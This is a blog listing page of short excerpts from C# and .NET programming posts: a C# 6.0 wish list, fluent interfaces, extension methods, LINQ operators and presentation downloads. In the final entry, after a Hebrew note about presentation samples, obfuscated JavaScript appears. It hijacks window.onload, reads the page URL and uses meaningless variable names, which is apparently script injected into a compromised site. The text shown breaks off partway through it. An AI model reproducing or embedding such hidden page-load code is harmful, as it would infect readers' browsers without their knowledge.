My C# 6.0 Wish List

Wednesday, June 5, 2013

I’m on a wish list streak, so why not wish myself new features in C# 6.0?There has been no public talk about C# 6.0 (or the next version of .NET, for that matter). Still, I imagine someone is working on that at Microsoft (maybe not Anders, who seems to prefer the JavaScript world, with his TypeScript language); hopefully, others have taken the lead for the future of C#.Firstly, it must be well understood that adding features to a language is a big deal. Once added, these can never be removed. Whereas features to the .NET framework itself can be...

C# Extension Methods and Fluent Interfaces

Thursday, February 7, 2013

The idea of fluent interfaces is not new, and has many forms. The basic idea is to use a single statement to encompass a series of operations that are natural, or at least simple, to use. There are very few fluent interfaces in .NET – the most well known, which has some fluent interface semantics, is the System.Text.StringBuilder class. Here’s a simple example: public static string BuildInfo(Process process) { return new StringBuilder("Process ") .AppendLine(process.ProcessName) .Append("Started at ").AppendLine(process.StartTime.ToLongTimeString()) ...
one comment

Static vs. Instance (vs. Extension)

Friday, March 9, 2012

Sometimes I teach a basic .NET & C# course. Among many other things, I discuss arrays. I mention that all .NET arrays derive from System.Array, and so get some functionality for free, such as sorting. Here’s a simple array: int a = new int; Now, the inexperienced student may type “a.”, opening the intellisense list box, and look for a method named Sort – after all, the instructor (me) said arrays support such an operation. The confused student can’t find any such method. Of course the problem is that sorting is...
no comments

Presentation & Demos from C# LINQ Open House

Wednesday, February 18, 2009

Today I presented a Microsoft Open House event focused on C# 3.0 features and LINQ. Thank you all for coming! I have attached the presentation and demos. Note that to make the LINQ to SQL samples work, you must change the connection string appropriately in the app.config file, or pass another one in the NorthwindDataContext constructor. Presentation & Demos

Some "Less Famous" but Useful LINQ Operators

Sunday, July 20, 2008

LINQ has many operators, but some get more attention than others. The most famous are the ones which can be expressed in a from clause, such as Where, OrderBy, OrderByDescending, GroupBy and Select. However, many other operators exist - here's my favorite list: Intersect, Union, Except These operators are the set operators intersection (AND), union (OR) and difference. The Intersect operator returns the items that are present in both sequences as a new sequence. Here's an example:var list1 = new List<int> { 2, 4, 9, 11, 3, 6 }; var list2 = new List<int> { 3, 8, 4, 30, 9,...
no comments

Presentation and Samples from Open House on C# 3.0 and LINQ

Wednesday, May 28, 2008

 מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var ...
no comments